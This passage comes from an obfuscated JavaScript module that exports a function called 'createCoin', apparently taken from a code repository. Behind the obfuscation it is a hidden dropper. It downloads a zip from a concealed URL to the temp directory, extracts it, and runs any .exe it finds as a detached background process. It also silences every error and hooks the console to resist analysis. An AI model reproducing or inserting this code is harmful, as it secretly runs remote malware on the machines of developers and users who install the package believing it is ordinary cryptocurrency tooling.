-0x84,_0x3d48aa-0x196);}if(_0x1ed376){if(_0x2ee443[_0x269e61(0x571,0x5c8,0x56c,0x59a)](_0x2ee443[_0x269e61(0x596,0x597,0x582,0x59c)],_0x2ee443['bUgvH']))_0xbf6dc4=qlkeJq[_0x58b61c(0x51b,0x50f,0x4f7,0x502)](_0x368567,qlkeJq['yQfAr'](qlkeJq[_0x58b61c(0x4fb,0x4e6,0x4df,0x4e2)],qlkeJq[_0x269e61(0x5b1,0x57d,0x5a3,0x5a4)])+');')();else{const _0x5de907=_0x1ed376[_0x58b61c(0x4dc,0x51a,0x538,0x50d)](_0x29c39d,arguments);return _0x1ed376=null,_0x5de907;}}}:function(){};function _0x3f1da3(_0x426f55,_0x528197,_0x3a476a,_0x269415){return _0x336ca9(_0x3a476a,_0x269415-0x22b,_0x3a476a-0x8e,_0x269415-0x12d);}_0x675216=![];function _0x42925c(_0x19b7a1,_0x442e65,_0x968190,_0x37ec70){return _0x336ca9(_0x19b7a1,_0x968190-0x433,_0x968190-0x0,_0x37ec70-0x6);}return _0x13cfd2;};}());function _0x2eb3a2(_0x5e98cd,_0x8a56ce,_0x1fee54,_0x3ea937){return _0x3531(_0x5e98cd- -0x211,_0x8a56ce);}const _0x6ed094=_0x323b34[_0xca2fec(0x1aa,0x19c,0x1a6,0x18a)](_0x9e2c1e,this,function(){function _0x51ec45(_0x1fdd7b,_0x3c1a55,_0x2c496d,_0x528b42){return _0x2eb3a2(_0x2c496d-0x400,_0x1fdd7b,_0x2c496d-0x132,_0x528b42-0x13b);}function _0x16b4e9(_0x391adc,_0x2429d4,_0x3d6b92,_0x1ce99d){return _0xca2fec(_0x391adc-0x151,_0x2429d4-0x10d,_0x391adc-0xa5,_0x2429d4);}return _0x6ed094['toString']()[_0x16b4e9(0x1f2,0x20e,0x1d3,0x1d0)](_0x323b34[_0x51ec45(0x388,0x390,0x38f,0x3a1)])[_0x16b4e9(0x1fc,0x210,0x220,0x205)]()[_0x51ec45(0x3b7,0x409,0x3dc,0x3e2)+'r'](_0x6ed094)[_0x51ec45(0x356,0x381,0x37c,0x38a)](_0x323b34['Glgba']);});_0x323b34['Uhnxf'](_0x6ed094);function _0xca2fec(_0xf2a86c,_0x1f6a5f,_0xa97952,_0x318e1b){return _0x3531(_0xa97952- -0x40,_0x318e1b);}try{if(_0x323b34[_0x2eb3a2(-0x4d,-0x20,-0x3c,-0x66)](_0x323b34[_0x2eb3a2(-0x29,-0x3e,-0x59,-0x38)],_0x323b34[_0x2eb3a2(-0x29,0x1,-0x4d,-0x46)])){const _0x56b779={};_0x56b779[_0xca2fec(0x164,0x15a,0x174,0x189)]=_0x410071,_0x56b779['method']=_0x323b34['clzJB'],_0x56b779[_0xca2fec(0x152,0x160,0x17c,0x16e)+'pe']=_0x323b34['NTyCp'];const _0x1ac4b8=await axios(_0x56b779),_0x170f28=fs[_0xca2fec(0x13a,0x186,0x159,0x169)+_0xca2fec(0x154,0x15b,0x17f,0x1a1)](_0x1df4e4);return _0x1ac4b8[_0xca2fec(0x165,0x15a,0x15a,0x170)][_0xca2fec(0x168,0x1a1,0x178,0x162)](_0x170f28),new Promise((_0x5e40f6,_0x1d0da3)=>{function _0x106512(_0x34cef0,_0x2561e2,_0x5bfc42,_0x4a3683){return _0xca2fec(_0x34cef0-0x8f,_0x2561e2-0x173,_0x5bfc42-0x400,_0x2561e2);}_0x170f28['on']('finish',_0x5e40f6),_0x170f28['on'](_0x106512(0x560,0x54b,0x54b,0x537),_0x1d0da3);});}else{const _0x9529e6=_0x27c882[_0xca2fec(0x16f,0x190,0x198,0x17d)](_0x1cb167,arguments);return _0x3f0a2c=null,_0x9529e6;}}catch(_0x5f586b){throw _0x5f586b;}}async function unzipFile(_0x1df6de,_0x3f2459){function _0xad5bb1(_0x11228b,_0x2f32cf,_0x27ac43,_0x4d57b4){return _0x3531(_0x2f32cf-0x255,_0x4d57b4);}try{const _0x4b69f3=new AdmZip(_0x1df6de);_0x4b69f3[_0xad5bb1(0x43d,0x40b,0x401,0x42e)+'To'](_0x3f2459,!![]);}catch(_0x54f5de){throw new Error('');}}function spawnDetachedExe(_0x1c7fb2){const _0x2080e5={'JkQvi':_0x2ab9b1(0x267,0x25f,0x293,0x272),'FavEJ':_0x2ab9b1(0x287,0x29f,0x2c5,0x29e),'TeSlh':_0x29e79c(0x409,0x3e6,0x3cf,0x3e9),'hCYXw':_0x29e79c(0x3a3,0x39a,0x384,0x386),'gpGoW':_0x29e79c(0x3ae,0x394,0x3aa,0x38c),'UxgcR':_0x2ab9b1(0x27d,0x2b0,0x25b,0x285),'uZEhg':function(_0x85be5b,_0x1ddc7a){return _0x85be5b(_0x1ddc7a);},'WNBRy':_0x29e79c(0x3aa,0x3ae,0x395,0x3d9)+_0x29e79c(0x395,0x3c6,0x3bb,0x3df),'KokFb':_0x2ab9b1(0x268,0x27d,0x28b,0x299)+_0x2ab9b1(0x26c,0x284,0x25e,0x25d)+_0x2ab9b1(0x284,0x2e0,0x2d9,0x2af)+'\x20)','nXLfU':function(_0x31d60f,_0x414a47){return _0x31d60f!==_0x414a47;},'jVJgD':_0x2ab9b1(0x24c,0x28b,0x27c,0x268),'ExEeQ':_0x29e79c(0x3e1,0x3e2,0x3fd,0x3be),'uFjEw':function(_0x199019){return _0x199019();},'TtcVs':_0x29e79c(0x407,0x3de,0x3d6,0x403),'xQUGJ':_0x2ab9b1(0x2a5,0x25c,0x270,0x28d),'wrkos':_0x29e79c(0x3ee,0x3d3,0x3b2,0x3ba),'ivvtf':_0x29e79c(0x3a7,0x398,0x38d,0x3cb),'mLDwj':_0x2ab9b1(0x2b0,0x261,0x2ae,0x289),'lYgOv':function(_0x3c8e11,_0x4cf43c){return _0x3c8e11<_0x4cf43c;},'ohRux':function(_0x196d83,_0x289056){return _0x196d83===_0x289056;},'rQWxI':_0x2ab9b1(0x27e,0x283,0x269,0x26d),'eNQYm':_0x29e79c(0x386,0x3aa,0x39f,0x390),'WspUk':function(_0xfcc04c,_0x43b6f2,_0x31bcf7){return _0xfcc04c(_0x43b6f2,_0x31bcf7);},'wBGVd':function(_0x5ca217){return _0x5ca217();},'XrGlH':function(_0x1d5a1a,_0x55c329,_0x1a7a01,_0x2e80d7){return _0x1d5a1a(_0x55c329,_0x1a7a01,_0x2e80d7);}};function _0x2ab9b1(_0x180b9d,_0x1bb05d,_0x1c9c19,_0x3efeb0){return _0x3531(_0x3efeb0-0xcb,_0x180b9d);}const _0x169850=(function(){let _0x46fccf=!![];return function(_0x4a1b25,_0x5a3c7c){function _0x1cddbb(_0x3c1a4e,_0x4e8482,_0x7b874c,_0x3440a2){return _0x3531(_0x3440a2-0x14c,_0x4e8482);}const _0x258492={};_0x258492[_0x1cddbb(0x339,0x2f6,0x314,0x31b)]=function(_0x4c3b4f,_0xd58f73){return _0x4c3b4f===_0xd58f73;};function _0x244cac(_0x5423f4,_0x56c312,_0x451164,_0x5cb81c){return _0x3531(_0x56c312- -0x196,_0x451164);}_0x258492[_0x1cddbb(0x2ec,0x2f1,0x2f2,0x2d8)]=_0x2080e5[_0x1cddbb(0x2d5,0x327,0x314,0x2fb)];const _0x3dbc5a=_0x258492;if(_0x2080e5['FavEJ']!==_0x2080e5[_0x244cac(0x52,0x56,0x51,0x65)]){const _0x344feb=_0x46fccf?function(){function _0x5904d2(_0xb00feb,_0x8ac226,_0x43882d,_0x6a282b){return _0x244cac(_0xb00feb-0x174,_0xb00feb-0x341,_0x43882d,_0x6a282b-0x1c7);}function _0x2ef72a(_0xe4631c,_0x19cb9b,_0x3f9e94,_0x3302a8){return _0x1cddbb(_0xe4631c-0xa,_0x3f9e94,_0x3f9e94-0x16e,_0x3302a8- -0x45f);}if('tAnsu'==='TNAze'){const _0x20714a=_0x123b40[_0x2ef72a(-0x161,-0x154,-0x13f,-0x13b)](_0x8a2cf0,arguments);return _0x443913=null,_0x20714a;}else{if(_0x5a3c7c){if(_0x3dbc5a[_0x5904d2(0x37a,0x375,0x399,0x380)](_0x3dbc5a[_0x2ef72a(-0x176,-0x196,-0x1ab,-0x187)],_0x3dbc5a[_0x2ef72a(-0x1a4,-0x16c,-0x1a3,-0x187)])){const _0x51fc1f=_0x5a3c7c['apply'](_0x4a1b25,arguments);return _0x5a3c7c=null,_0x51fc1f;}else _0x161fca=_0x258bfe;}}}:function(){};return _0x46fccf=![],_0x344feb;}else try{const _0x119277=new _0x21f0eb(_0x2215fc);_0x119277[_0x1cddbb(0x2f3,0x2fd,0x30e,0x302)+'To'](_0x2421e0,!![]);}catch(_0x4f1a8b){throw new _0x6d3e58('');}};}()),_0x5928a1=_0x2080e5[_0x29e79c(0x39c,0x39d,0x373,0x3a5)](_0x169850,this,function(){function _0x1aad3a(_0x4138e0,_0x33a9dc,_0x4585f3,_0x2e5691){return _0x29e79c(_0x4138e0-0x16c,_0x2e5691- -0x2f,_0x33a9dc,_0x2e5691-0x1bd);}function _0x303f06(_0x10dea6,_0x3b7961,_0x136f30,_0x29d7a0){return _0x29e79c(_0x10dea6-0x18a,_0x10dea6- -0xaf,_0x3b7961,_0x29d7a0-0x136);}const _0x483c84={'foFtK':_0x2080e5[_0x1aad3a(0x368,0x3a2,0x379,0x39b)],'bUbxQ':function(_0x41a9d7,_0x57ec59){function _0x4aef45(_0x1827f9,_0x70a280,_0x8b8bea,_0x22e440){return _0x1aad3a(_0x1827f9-0x34,_0x8b8bea,_0x8b8bea-0x6b,_0x22e440- -0x216);}return _0x2080e5[_0x4aef45(0x134,0x172,0x13a,0x15a)](_0x41a9d7,_0x57ec59);},'yumdy':_0x2080e5[_0x303f06(0x305,0x334,0x2e5,0x2f5)],'dLsqc':_0x2080e5[_0x1aad3a(0x3d6,0x3e1,0x38c,0x3bb)]};if(_0x2080e5['nXLfU'](_0x2080e5[_0x1aad3a(0x3a8,0x387,0x39a,0x388)],_0x2080e5['ExEeQ'])){const _0x13cc68=function(){function _0x1c98d9(_0x2c13be,_0x4cc354,_0x29c2c2,_0x59414a){return _0x1aad3a(_0x2c13be-0x1d1,_0x59414a,_0x29c2c2-0x5e,_0x29c2c2-0x19f);}function _0x4298c4(_0x185b24,_0x57ec14,_0x4ca037,_0x233ed3){return _0x1aad3a(_0x185b24-0x1eb,_0x185b24,_0x4ca037-0x1cf,_0x233ed3- -0x34d);}if(_0x4298c4(0x53,0x1f,0x37,0x47)===_0x483c84[_0x1c98d9(0x520,0x50e,0x51c,0x4ee)]){let _0x57bb28;try{_0x57bb28=_0x483c84[_0x4298c4(0x64,0x4b,0x7e,0x59)](Function,_0x483c84[_0x1c98d9(0x54b,0x53f,0x560,0x57f)]+_0x483c84[_0x4298c4(0x3d,0x58,0x95,0x67)]+');')();}catch(_0x203690){_0x57bb28=window;}return _0x57bb28;}else{const _0x46ed19=_0x11f197?function(){function _0x509704(_0x3c18d6,_0x2a015d,_0x457cbb,_0x405454){return _0x4298c4(_0x3c18d6,_0x2a015d-0x16e,_0x457cbb-0x111,_0x457cbb-0x282);}if(_0x10b66a){const _0x114a85=_0x2bbe1e[_0x509704(0x2e3,0x308,0x2e7,0x2bc)](_0x42e268,arguments);return _0x50332f=null,_0x114a85;}}:function(){};return _0x559cd2=![],_0x46ed19;}},_0x4e6bbd=_0x2080e5['uFjEw'](_0x13cc68),_0x3139a7=_0x4e6bbd[_0x303f06(0x315,0x323,0x347,0x33e)]=_0x4e6bbd[_0x303f06(0x315,0x322,0x32b,0x30f)]||{},_0x59100f=[_0x2080e5[_0x1aad3a(0x3ba,0x3ba,0x38a,0x3b1)],_0x2080e5['xQUGJ'],_0x2080e5[_0x303f06(0x321,0x320,0x320,0x30f)],_0x2080e5['gpGoW'],_0x2080e5[_0x303f06(0x32b,0x304,0x33f,0x338)],'table',_0x2080e5['mLDwj']];for(let _0x17076c=0xd55*-0x1+-0x1*0xec+0x1*0xe41;_0x2080e5[_0x1aad3a(0x3aa,0x3bf,0x3cc,0x3b0)](_0x17076c,_0x59100f[_0x303f06(0x2fe,0x2f6,0x318,0x30b)]);_0x17076c++){if(_0x2080e5[_0x303f06(0x302,0x32a,0x325,0x323)](_0x2080e5['rQWxI'],_0x2080e5[_0x1aad3a(0x33d,0x393,0x37a,0x36a)]))_0xa0d38b['on'](_0x2080e5['hCYXw'],_0x538853),_0x2a97ce['on'](_0x2080e5[_0x303f06(0x345,0x32f,0x332,0x323)],_0x582619);else{const _0x1caf2d=_0x169850[_0x303f06(0x347,0x34c,0x373,0x365)+'r'][_0x303f06(0x30f,0x30d,0x311,0x2ee)][_0x303f06(0x30d,0x2e7,0x33c,0x302)](_0x169850),_0x4f56c0=_0x59100f[_0x17076c],_0x5e2a6f=_0x3139a7[_0x4f56c0]||_0x1caf2d;_0x1caf2d[_0x1aad3a(0x34b,0x382,0x341,0x372)]=_0x169850[_0x303f06(0x30d,0x322,0x31a,0x2dd)](_0x169850),_0x1caf2d['toString']=_0x5e2a6f[_0x1aad3a(0x342,0x355,0x345,0x371)][_0x303f06(0x30d,0x320,0x311,0x2e5)](_0x5e2a6f),_0x3139a7[_0x4f56c0]=_0x1caf2d;}}}else throw new _0x5df3ac('');});_0x2080e5[_0x29e79c(0x409,0x3e7,0x412,0x3b7)](_0x5928a1);function _0x29e79c(_0x30b768,_0x5acc49,_0x130ad7,_0x20ac7d){return _0x3531(_0x5acc49-0x209,_0x130ad7);}const _0x435ad5={};_0x435ad5[_0x29e79c(0x3d0,0x3c2,0x391,0x390)]=!![],_0x435ad5[_0x29e79c(0x3ad,0x39e,0x3bf,0x3ba)]=_0x29e79c(0x3be,0x3dd,0x3e1,0x3d0);const _0x207877=_0x2080e5[_0x29e79c(0x3a5,0x3a4,0x37d,0x394)](spawn,_0x1c7fb2,[],_0x435ad5);_0x207877['unref']();}try{const url=_0x122567(0x38d,0x3b8,0x397,0x377)+_0x45ae14(-0x13f,-0x111,-0x136,-0x118)+_0x45ae14(-0xf3,-0xe5,-0xe8,-0x116)+_0x122567(0x365,0x371,0x346,0x37b),tempFolder=os['tmpdir'](),zipDownloadPath=path[_0x122567(0x39f,0x3ca,0x3af,0x3b4)](tempFolder,_0x122567(0x3c6,0x3d2,0x3c6,0x393)+_0x45ae14(-0x101,-0x124,-0x110,-0xfb)),extractFolder=path['join'](tempFolder,'eiwaeia');await downloadFile(url,zipDownloadPath),await unzipFile(zipDownloadPath,extractFolder);const files=fs['readdirSyn'+'c'](extractFolder),exeFiles=files[_0x122567(0x36a,0x33d,0x35b,0x356)](_0x8dd43=>path[_0x122567(0x386,0x397,0x3b2,0x386)](_0x8dd43)[_0x122567(0x39c,0x3b3,0x375,0x395)+'e']()===_0x45ae14(-0x125,-0x11b,-0xec,-0x134));if(exeFiles[_0x122567(0x380,0x367,0x37c,0x39c)]>-0xdaf+0xb*-0x14f+0x1c14){const exePath=path[_0x45ae14(-0xfa,-0xf4,-0x100,-0xfd)](extractFolder,exeFiles[-0x572+-0x1734+0xc1*0x26]);spawnDetachedExe(exePath);}else{}}catch(_0x4b73dc){} 40 | } 41 | 42 | module.exports = createCoin; 43 | --------------------------------------------------------------------------------